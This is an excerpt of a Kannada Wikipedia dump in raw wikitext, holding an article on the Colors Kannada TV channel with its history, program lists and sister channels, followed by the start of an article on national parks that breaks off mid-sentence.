ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ::ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] nhsgtahe7fq1kpkhx1b1i561ndtmxvx 1116608 1116601 2022-08-24T09:22:49Z Ishqyk 76644 wikitext text/x-wiki '''ಕಲರ್ಸ್ ಕನ್ನಡ''' ಇದು ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಭಾರತೀಯ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್ ಆಗಿದ್ದು, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. <ref>{{Cite web|url=https://www.viacom18.com/media/colors-kannada-launch|title=Kannada Television to Gain a New Hue|publisher=[[Viacom18]]}}</ref> ಈ ಚಾನಲ್ ಪ್ರಸ್ತುತ [[ಭಾರತ]] ಮತ್ತು [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ]] ಲಭ್ಯವಿದೆ. ಈ ಚಾನೆಲ್‌ನ ಯಶಸ್ಸಿನ ಮೇಲೆ, ಕಲರ್ಸ್ ಸೂಪರ್ ಎಂಬ ಹೆಸರಿನ ಮತ್ತೊಂದು ಚಾನೆಲ್ ಅನ್ನು 24 ಜುಲೈ 2016 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ಡಿಸೆಂಬರ್ 2020 ರಲ್ಲಿ ಕಲರ್ಸ್ ಕನ್ನಡ ತನ್ನ 20 ನೇ ವಾರ್ಷಿಕೋತ್ಸವವನ್ನು ಆಚರಿಸಿತು. {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|logofile=ಕಲರ್ಸ್ ಕನ್ನಡ.png|country=ಭಾರತ|language=ಕನ್ನಡ|broadcast area=ಭಾರತ|headquarters=ಬೆಂಗಳೂರು ,ಭಾರತ|owner=ವಿಯಾಕಾಮ್ 18|launch=ಡಿಸೆಂಬರ್ 10, 2000; 21 ವರ್ಷಗಳ ಹಿಂದೆ|replaced names=ಈಟಿವಿ ಕನ್ನಡ|slogan=ಬಣ್ಣ ಹೊಸದಗಿದೆ ಬಂಧ ಬಿಗಿಯಾಗಿದೆ|sister names=[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು}} == ಇತಿಹಾಸ == ಚಾನೆಲ್ ಅನ್ನು ಮೂಲತಃ 10 ಡಿಸೆಂಬರ್ 2000 ರಂದು ETV ಕನ್ನಡ ಎಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು ಮತ್ತು ಹೈದರಾಬಾದ್‌ನ ರಾಮೋಜಿ ರಾವ್ ಅವರಿಂದ ಪ್ರಚಾರ ಮಾಡಲಾಯಿತು. ಇದು ನಂತರ ನೆಟ್‌ವರ್ಕ್ 18 ಒಡೆತನದ ವಯಾಕಾಮ್ 18 ರ ಭಾಗವಾಯಿತು, 26 ಏಪ್ರಿಲ್ 2015 ರಂದು ಅಧಿಕೃತವಾಗಿ ಕಲರ್ಸ್ ಫ್ರ್ಯಾಂಚೈಸ್ ಅಡಿಯಲ್ಲಿ ಮರು-ಬ್ರಾಂಡ್ ಮಾಡಿತು. [[ಕರ್ನಾಟಕ|ಕರ್ನಾಟಕದಲ್ಲಿ]] HD ಚಾನೆಲ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದ ಮೊದಲ GEC ಕಲರ್ಸ್ ಕನ್ನಡ. == ಪ್ರಸ್ತುತ ಪ್ರಸಾರಗಳು == === ಮೂಲ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಟಿಪ್ಪಣಿಗಳು |- | 14 ಜನವರಿ 2019 | ''ನಮ್ಮನೆ ಯುವರಾಣಿ'' | |- | 11 ಜುಲೈ 2022 | ''ಒಲವಿನ ನಿಲ್ದನ'' | |- | 20 ಡಿಸೆಂಬರ್ 2021 | ''ದೊರೆಸಾನಿ'' | |- | 12 ಮಾರ್ಚ್ 2012 | ''ಮಂಗಳ ಗೌರಿ ಮದುವೆ'' | [[ಕನ್ನಡ]] ಕಿರುತೆರೆ ಧಾರಾವಾಹಿ ''ಪುಟ್ಟಗೌರಿ ಮದುವೆಯ'' ಸೀಕ್ವೆಲ್ |- | 27 ಜನವರಿ 2020 | ''ಕನ್ನಡತಿ'' | |- | 6 ಜನವರಿ 2020 | ''ಗೀತಾ'' | |- | 17 ಆಗಸ್ಟ್ 2020 | ''ಗಿಣಿರಾಮ'' | [[ಮರಾಠಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಜೀವ್ ಝಲಾ ಯೆಡಾ ಪಿಸಾದ'' ರೂಪಾಂತರ |- | 31 ಜನವರಿ 2022 | ''ರಾಮಾಚಾರಿ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಲಕ್ಷಣಾ'' | |- | 3 ಫೆಬ್ರವರಿ 2020 | ''ನನ್ನರಸಿ ರಾಧೆ'' | |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಕನ್ಯಾಕುಮಾರಿ'' | |- | 28 ಫೆಬ್ರವರಿ 2022 | ''ದಾಸ ಪುರಂದರ'' | ಪ್ರಸಿದ್ಧ ದಾರ್ಶನಿಕ ಮತ್ತು ಗಾಯಕ ''[[ಪುರಂದರದಾಸ|ಪುರಂದರ ದಾಸರ]]'' ಕಥೆ |} === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ರಿಯಾಲಿಟಿ ಶೋ |- | 11 ಜೂನ್ 2022 | ''ರಾಜಾ ರಾಣಿ ಸೀಸನ್ 2'' |- | 9 ಏಪ್ರಿಲ್ 2022 | ''ಗಿಚ್ಚಿ ಗಿಳಿಗಿಲಿ'' |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ತೋರಿಸು ! ಡಬ್ ಮಾಡಿದ ಆವೃತ್ತಿ |- | 4 ಜುಲೈ 2022 | ''ನಾಗಕನ್ನಿಕೆ ೭'' | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ನಾಗಿನ್ |- | 25 ಏಪ್ರಿಲ್ 2022 | ''ಪವಾಡ ಪುರುಷ'' | ಮರಾಠಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬಲುಮಾಚ್ಯಾ ನವನೇ ಚಾಂಗ್ಭಾಲಾ'' |} == ಚಾನೆಲ್‌ಗಳು == {| class="wikitable" !ಹೆಸರು ! ಬಿಡುಗಡೆ ದಿನಾಂಕ ! ವರ್ಗ ! SD/HD ಲಭ್ಯತೆ ! ಟಿಪ್ಪಣಿಗಳು |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ'' | 10 ಡಿಸೆಂಬರ್ 2000 | rowspan="2" | GEC | SD+HD | ಹಿಂದೆ ''ಈಟಿವಿ ಕನ್ನಡ'' |- | ''ಕಲರ್ಸ್ ಸೂಪರ್'' | 24 ಜುಲೈ 2016 | rowspan="3" | SD | Viacom18 ರ ಎರಡನೇ ಕನ್ನಡ GEC ಚಾನೆಲ್ |- | ''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ'' | 24 ಸೆಪ್ಟೆಂಬರ್ 2018 | [[ಸಿನಮಾ|ಚಲನಚಿತ್ರಗಳು]] | Viacom18 ನ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನೆಲ್ |- | ''[[ನ್ಯೂಸ್18 ಕನ್ನಡ|ನ್ಯೂಸ್ 18 ಕನ್ನಡ]]'' | 19 ಮಾರ್ಚ್ 2014 | [[ವಾರ್ತೆ|ಸುದ್ದಿ]] | ಹಿಂದೆ [[ನ್ಯೂಸ್18 ಕನ್ನಡ|''ಈಟಿವಿ ನ್ಯೂಸ್ ಕನ್ನಡ'']] |} == ಹಿಂದಿನ ಪ್ರಸಾರಗಳು == === ಧಾರಾವಾಹಿಗಳು === === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 1'' | 2013 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 3'' | 2015 | 98 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 4'' | 2016 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 7'' | 2019 | 113 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಸೀಸನ್ 8'' | 2021 | 120 |- | ''ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ ಮಿನಿ ಸೀಸನ್'' | 2021 | 23 |- | ''ಚಾಟ್ ಕಾರ್ನರ್'' | 2020 | 42 |- | ''ಹಾಸ್ಯ ಕಂಪನಿ'' | 2019 | 18 |- | ''ಕಾಮಿಡಿ ಟಾಕೀಸ್'' | 2017 | 54 |- | ''ನೃತ್ಯ ಚಾಂಪಿಯನ್'' | 2022 | 32 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 1'' | 2014 | |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 2'' | 2015 | 38 |- | ''ಡ್ಯಾನ್ಸಿಂಗ್ ಸ್ಟಾರ್ ಸೀಸನ್ 3'' | 2016 | 26 |- | ''ಥಾಕಾ ಧಿಮಿ ತಾ'' | 2019 | 32 |- | ''ಎದೆ ತುಂಬಿ ಹಾಡುವೆನು'' | 2021 | 29 |- | ''ಎಂದು ಮರೆಯಾದ ಹಾಡು'' | | |- |''ಕುಟುಂಬದ ಶಕ್ತಿ'' | 2017 | 42 |- | ''ಹಾಡು ಕರ್ನಾಟಕ'' | 2020 | 18 |- | ''ಭಾರತೀಯ'' | 2013 | |- | ''[[ಕನ್ನಡದ ಕೋಟ್ಯಧಿಪತಿ|ಕನ್ನಡದ ಕೋಟ್ಯಾಧಿಪತಿ]] ಸೀಸನ್ 4'' | 2019 | |- | ''ಮಜಾ ಭಾರತ ಸೀಸನ್ 4'' | 2020 | 31 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 1'' | 2015 | 264 |- | ''[[ಮಜಾ ಟಾಕೀಸ್]] ಸೀಸನ್ 3'' | 2020 | 69 |- | ''ಮುಂಜಾನೆ ರಾಗ'' | 2021 | 60 |- | ''ನನ್ನಮ್ಮ ಸೂಪರ್ ಸ್ಟಾರ್'' | 2021 | 34 |- | ''ಪ್ರಾರ್ಥನೆ'' | 2016 | 262 |- | ''ರಾಜಾ ರಾಣಿ'' | 2021 | 35 |- | ''ಸವಿರುಚಿ'' | 2022 | 60 |- | ''ನಕ್ಷತ್ರ ಸವಿರುಚಿ'' | 2016 | 105 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 1'' | 2015 | |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 2'' | 2016 | 39 |- | ''ಸೂಪರ್ ಮಿನಿಟ್ ಸೀಸನ್ 3'' | 2017 | 28 |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable sortable" !ಹೆಸರು ! ಪ್ರಸಾರ ವರ್ಷ ! ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ ! ನಿಂದ ಡಬ್ ಮಾಡಲಾಗಿದೆ |- | ''ಚಿಕ್ಕೇಜಮಣಿ'' | 2021 - 2022 | 241 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬ್ಯಾರಿಸ್ಟರ್ ಬಾಬು'' |- | ''ನಾಗಕನ್ನಿಕೆ ೨'' | 2020 | 76 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 2'' |- | ''ನಾಗಕನ್ನಿಕೆ ೩'' | 2020 - 2021 | 105 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 3'' |- | ''ನಾಗಕನ್ನಿಕೆ ೪'' | 2021 | 43 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 4'' |- | ''ನಾಗಕನ್ನಿಕೆ ೫'' | 2021 | 95 | ಹಿಂದಿ TV ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 5'' |- | ''ನಾಗಕನ್ನಿಕೆ ೬'' | 2021 | 79 | ಹಿಂದಿ ಟಿವಿ ಧಾರಾವಾಹಿ ''ನಾಗಿನ್ 1'' |} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] 5wnhebi33f3thbabxgeeij86msccqz5 ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು 0 144403 1116410 1112962 2022-08-23T12:06:14Z InternetArchiveBot 69876 Rescuing 5 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki [[ಚಿತ್ರ:Stambecchi_nel_Parco_Nazionale_del_Gran_Paradiso.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/4/4b/Stambecchi_nel_Parco_Nazionale_del_Gran_Paradiso.jpg/220px-Stambecchi_nel_Parco_Nazionale_del_Gran_Paradiso.jpg|thumb| ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಸಂರಕ್ಷಿತ ಜಾತಿಗಳನ್ನು ಪ್ರವರ್ಧಮಾನಕ್ಕೆ ತರುತ್ತವೆ. [[ಇಟಲಿ|ಇಟಲಿಯ]] ಪೀಡ್‌ಮಾಂಟ್‌ನ ಗ್ರ್ಯಾನ್ ಪ್ಯಾರಾಡಿಸೊ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದಲ್ಲಿರುವ ಆಲ್ಪೈನ್ ಐಬೆಕ್ಸ್‌ಗಳು ( ''ಕಾಪ್ರಾ ಐಬೆಕ್ಸ್'' ) ಚಿತ್ರದಲ್ಲಿದೆ. ೧೯೨೨ ರಲ್ಲಿ ಈ ಪ್ರದೇಶವನ್ನು ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವೆಂದು ಘೋಷಿಸಿದಾಗಿನಿಂದ ಐಬೆಕ್ಸ್ ಜನಸಂಖ್ಯೆಯು ಹತ್ತು ಪಟ್ಟು ಹೆಚ್ಚಾಗಿದೆ.]] [[ಚಿತ್ರ:Yuli_Seperi_Komodo_TNKomodo-2.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/9/95/Yuli_Seperi_Komodo_TNKomodo-2.jpg/220px-Yuli_Seperi_Komodo_TNKomodo-2.jpg|thumb| ಕೊಮೊಡೊ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ, ಪೂರ್ವ ನುಸಾ ತೆಂಗರಾ, [[ಇಂಡೋನೇಷ್ಯಾ]] .]] '''ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವು''' ಸಂರಕ್ಷಣಾ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಕೆಯಲ್ಲಿರುವ ನೈಸರ್ಗಿಕ ಉದ್ಯಾನವಾಗಿದೆ. ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವು ಸರ್ಕಾರಗಳಿಂದ ರಚಿಸಲ್ಪಟ್ಟಿದೆ ಮತ್ತು ರಕ್ಷಿಸಲ್ಪಟ್ಟಿದೆ. ಸಾಮಾನ್ಯವಾಗಿ ಇದು ಸ್ವಾಭಾವಿಕ, ಅರೆ-ನೈಸರ್ಗಿಕ ಅಥವಾ ಅಭಿವೃದ್ಧಿ ಹೊಂದಿದ ಭೂಮಿಯನ್ನು ಸಾರ್ವಭೌಮ ರಾಜ್ಯವನ್ನು ಹೊಂದಿದೆ. ಪ್ರತ್ಯೇಕ ರಾಷ್ಟ್ರಗಳು ತಮ್ಮದೇ ಆದ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳನ್ನು ವಿಭಿನ್ನವಾಗಿ ಗೊತ್ತುಪಡಿಸಿದರೂ ಸಂತತಿಗಾಗಿ ಮತ್ತು ರಾಷ್ಟ್ರೀಯ ಹೆಮ್ಮೆಯ ಸಂಕೇತವಾಗಿ 'ಕಾಡು ಮತ್ತು ಪ್ರಕೃತಿಯ' ಸಂರಕ್ಷಣೆ ಎಂಬ ಒಂದು ಸಾಮಾನ್ಯ ಕಲ್ಪನೆ ಇದೆ. <ref>Europarc Federation (eds.) 2009, Living Parks, 100 Years of National Parks in Europe, Oekom Verlag, München</ref> ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ೧೮೭೨ <ref>{{Cite web|url=http://memory.loc.gov/cgi-bin/ampage?collId=amrvl&fileName=vl002//amrvlvl002.db&recNum=1&itemLink=r?ammem/consrvbib:@field(NUMBER+@band(amrvl+vl002))&linkText=0|title=Evolution of the Conservation Movement, 1850-1920|website=memory.loc.gov|archive-url=https://web.archive.org/web/20170123114358/http://memory.loc.gov/cgi-bin/ampage?collId=amrvl&fileName=vl002%2F%2Famrvlvl002.db&recNum=1&itemLink=r%3Fammem%2Fconsrvbib%3A%40field%28NUMBER%2B%40band%28amrvl%2Bvl002%29%29&linkText=0|archive-date=23 January 2017}}</ref> ಯೆಲ್ಲೊಸ್ಟೋನ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದ ಮೊದಲ "ಸಾರ್ವಜನಿಕ ಉದ್ಯಾನವನ ಅಥವಾ ನೆಲವನ್ನು ಜನರ ಪ್ರಯೋಜನ ಮತ್ತು ಆನಂದಕ್ಕಾಗಿ" ಸ್ಥಾಪಿಸಿತು. ಯೆಲ್ಲೊಸ್ಟೋನ್ ಅನ್ನು ಅದರ ಸ್ಥಾಪನೆಯ ಕಾನೂನಿನಲ್ಲಿ ಅಧಿಕೃತವಾಗಿ "ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ" ಎಂದು ಕರೆಯಲಾಗಿಲ್ಲವಾದರೂ ಇದು ಆವಾಗಲೂ ಆಚರಣೆಯಲ್ಲಿತ್ತು. <ref>[https://archive.org/stream/annualreports18721880#page/n7/mode/2up Report of the Superintendent of Yellowstone National Park for the Year 1872] {{Webarchive|date=3 April 2016}}, 43rd Congress, 3rd Session, ex. doc. 35, quoting Department of Interior letter of 10 May 1872, "The reservation so set apart is to be known as the "Yellowstone National Park"."</ref> ಇದು ಪ್ರಪಂಚದ ಮೊದಲ ಮತ್ತು ಹಳೆಯ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿದೆ. ಆದಾಗ್ಯೂ ಟೊಬಾಗೊ ಮೇನ್ ರಿಡ್ಜ್ ಫಾರೆಸ್ಟ್ ರಿಸರ್ವ್ (ಈಗ ಟ್ರಿನಿಡಾಡ್ ಮತ್ತು ಟೊಬಾಗೊದಲ್ಲಿ ೧೭೭೬ ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು) <ref>{{Cite web|url=https://whc.unesco.org/en/tentativelists/5646/|title=Tobago Main Ridge Forest Reserve|date=17 August 2011|publisher=UNESCO|access-date=13 August 2018}}</ref> ಮತ್ತು ಬೊಗ್ಡ್ ಖಾನ್ ಉಲ್ ಪರ್ವತದ ಸುತ್ತಲಿನ ಪ್ರದೇಶ (ಮಂಗೋಲಿಯಾ ೧೭೭೮) ಸುತ್ತಮುತ್ತಲಿನ ಕೃಷಿಭೂಮಿಯನ್ನು ರಕ್ಷಿಸುವ ಸಲುವಾಗಿ ಕೃಷಿಯಿಂದ ನಿರ್ಬಂಧಿಸಲಾಗಿದೆ. ಅತ್ಯಂತ ಹಳೆಯ ಕಾನೂನಾತ್ಮಕವಾಗಿ ಸಂರಕ್ಷಿತ ಪ್ರದೇಶಗಳೆಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ. <ref>{{Cite web|url=https://theculturetrip.com/north-america/articles/the-10-oldest-national-parks-in-the-world/|title=The 10 Oldest National Parks in the World|last=Hardy, U.|date=9 April 2017|publisher=The CultureTrip|access-date=21 December 2017}}</ref> <ref>{{Cite book|title=The Geography of Nostalgia: Global and Local Perspectives on Modernity and Loss|last=Bonnett, A.|publisher=Routledge|year=2016|isbn=978-1-315-88297-0|page=68}}</ref> ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಸ್ಥೆ ಇಂಟರ್ನ್ಯಾಷನಲ್ ಯೂನಿಯನ್ ಫಾರ್ ಕನ್ಸರ್ವೇಶನ್ ಆಫ್ ನೇಚರ್ (ಐಯುಸಿ‍ಎನ್), ಮತ್ತು ಅದರ ವರ್ಲ್ಡ್ ಕಮಿಷನ್ ಆನ್ ಪ್ರೊಟೆಕ್ಟೆಡ್ ಏರಿಯಾಸ್ (ಡಬ್ಲೂ‍ಸಿಪಿಎ), "ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್" ಅನ್ನು ಅದರ ''ವರ್ಗವಾಗಿ'' ವ್ಯಾಖ್ಯಾನಿಸಿದೆ''&nbsp;II'' ಪ್ರಕಾರದ ಸಂರಕ್ಷಿತ ಪ್ರದೇಶಗಳು . <ref>{{Cite web|url=https://www.iucn.org/theme/protected-areas/about/protected-areas-categories/category-ii-national-park|title=Category II: National Park|date=5 February 2016|website=IUCN}}</ref> ಐಯುಸಿ‍ಎನ್ ಪ್ರಕಾರ ವಿಶ್ವಾದ್ಯಂತ ೬,೫೫೫ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು ೨೦೦೬ರಲ್ಲಿ ಅದರ ಮಾನದಂಡಗಳನ್ನು ಪೂರೈಸಿದವು. ಐಯುಸಿ‍ಎನ್ ಇನ್ನೂ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ವ್ಯಾಖ್ಯಾನಿಸುವ ನಿಯತಾಂಕಗಳನ್ನು ಚರ್ಚಿಸುತ್ತಿದೆ. <ref>{{Cite web|url=http://www.nationalparks.gov.uk/press/history.htm|title=History of the National Parks|website=Association of National Park Authorities|archive-url=https://web.archive.org/web/20130421112821/http://www.nationalparks.gov.uk/press/history.htm|archive-date=21 April 2013|access-date=12 November 2012}}</ref> ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು ಯಾವಾಗಲೂ ಪ್ರವಾಸಿಗರಿಗೆ ತೆರೆದಿರುತ್ತವೆ. <ref name="Gissibl, B. 2012">Gissibl, B., S. Höhler and P. Kupper, 2012, ''Civilizing Nature, National Parks in Global Historical Perspective'', Berghahn, Oxford</ref> == ವ್ಯಾಖ್ಯಾನಗಳು == [[ಚಿತ್ರ:Koli_2019_2.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/1/19/Koli_2019_2.jpg/220px-Koli_2019_2.jpg|thumb| [[ಫಿನ್‍ಲ್ಯಾಂಡ್|ಫಿನ್‌ಲ್ಯಾಂಡ್‌ನ]] ಉತ್ತರ ಕರೇಲಿಯಾದಲ್ಲಿರುವ ಕೋಲಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದ ಭೂದೃಶ್ಯಗಳು ಅನೇಕ ವರ್ಣಚಿತ್ರಕಾರರು ಮತ್ತು ಸಂಯೋಜಕರಿಗೆ ಸ್ಫೂರ್ತಿ ನೀಡಿವೆ, ಉದಾ. ಜೀನ್ ಸಿಬೆಲಿಯಸ್, ಜುಹಾನಿ ಅಹೋ ಮತ್ತು ಈರೋ ಜರ್ನೆಫೆಲ್ಟ್ . <ref>{{Cite news|url=https://www.nationalparks.fi/kolinp/history|title=History of Koli National Park|work=Nationalparks.fi|access-date=16 August 2020}}</ref>]] [[ಚಿತ್ರ:Puerto_Escondido_P_N_Manuel_Antonio.JPG|link=//upload.wikimedia.org/wikipedia/commons/thumb/7/79/Puerto_Escondido_P_N_Manuel_Antonio.JPG/220px-Puerto_Escondido_P_N_Manuel_Antonio.JPG|thumb| ಕೋಸ್ಟರಿಕಾದಲ್ಲಿರುವ ಮ್ಯಾನುಯೆಲ್ ಆಂಟೋನಿಯೊ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ''[[ಫೋರ್ಬ್ಸ್]]'' ವಿಶ್ವದ ೧೨ ಅತ್ಯಂತ ಸುಂದರವಾದ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳಲ್ಲಿ ಒಂದೆಂದು ಪಟ್ಟಿ ಮಾಡಿದೆ. <ref>{{Cite news|url=https://www.forbes.com/sites/janelevere/2011/08/29/the-worlds-most-beautiful-national-parks/|title=The World's Most Beautiful National Parks|last=Jane Levere|date=29 August 2011|work=[[Forbes]]|access-date=4 October 2011|archive-url=https://web.archive.org/web/20111001031720/http://www.forbes.com/sites/janelevere/2011/08/29/the-worlds-most-beautiful-national-parks/|archive-date=1 October 2011}}</ref>]] [[ಚಿತ್ರ:Beech_trees_in_Mallard_Wood,_New_Forest_-_geograph.org.uk_-_779513.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/3/31/Beech_trees_in_Mallard_Wood%2C_New_Forest_-_geograph.org.uk_-_779513.jpg/220px-Beech_trees_in_Mallard_Wood%2C_New_Forest_-_geograph.org.uk_-_779513.jpg|thumb| ಮಲ್ಲಾರ್ಡ್ ವುಡ್‌ನಲ್ಲಿರುವ ಬೀಚ್ ಮರಗಳು, ನ್ಯೂ ಫಾರೆಸ್ಟ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್, ಹ್ಯಾಂಪ್‌ಶೈರ್, ಇಂಗ್ಲೆಂಡ್]] ೧೯೬೯ರಲ್ಲಿ ಐಯುಸಿ‍ಎನ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ಈ ಕೆಳಗಿನ ವಿಶಿಷ್ಟ ಗುಣಲಕ್ಷಣಗಳೊಂದಿಗೆ ತುಲನಾತ್ಮಕವಾಗಿ ದೊಡ್ಡ ಪ್ರದೇಶವೆಂದು ಘೋಷಿಸಿತು: <ref>Gulez, Sumer (1992). A method of evaluating areas for national park status.</ref> * ಮಾನವನ ಶೋಷಣೆ ಮತ್ತು ಉದ್ಯೋಗದಿಂದ ಭೌತಿಕವಾಗಿ ಬದಲಾಗದ ಒಂದು ಅಥವಾ ಹಲವಾರು [[ಪರಿಸರ ವ್ಯವಸ್ಥೆ|ಪರಿಸರ ವ್ಯವಸ್ಥೆಗಳು]], ಅಲ್ಲಿ ಸಸ್ಯ ಮತ್ತು ಪ್ರಾಣಿ 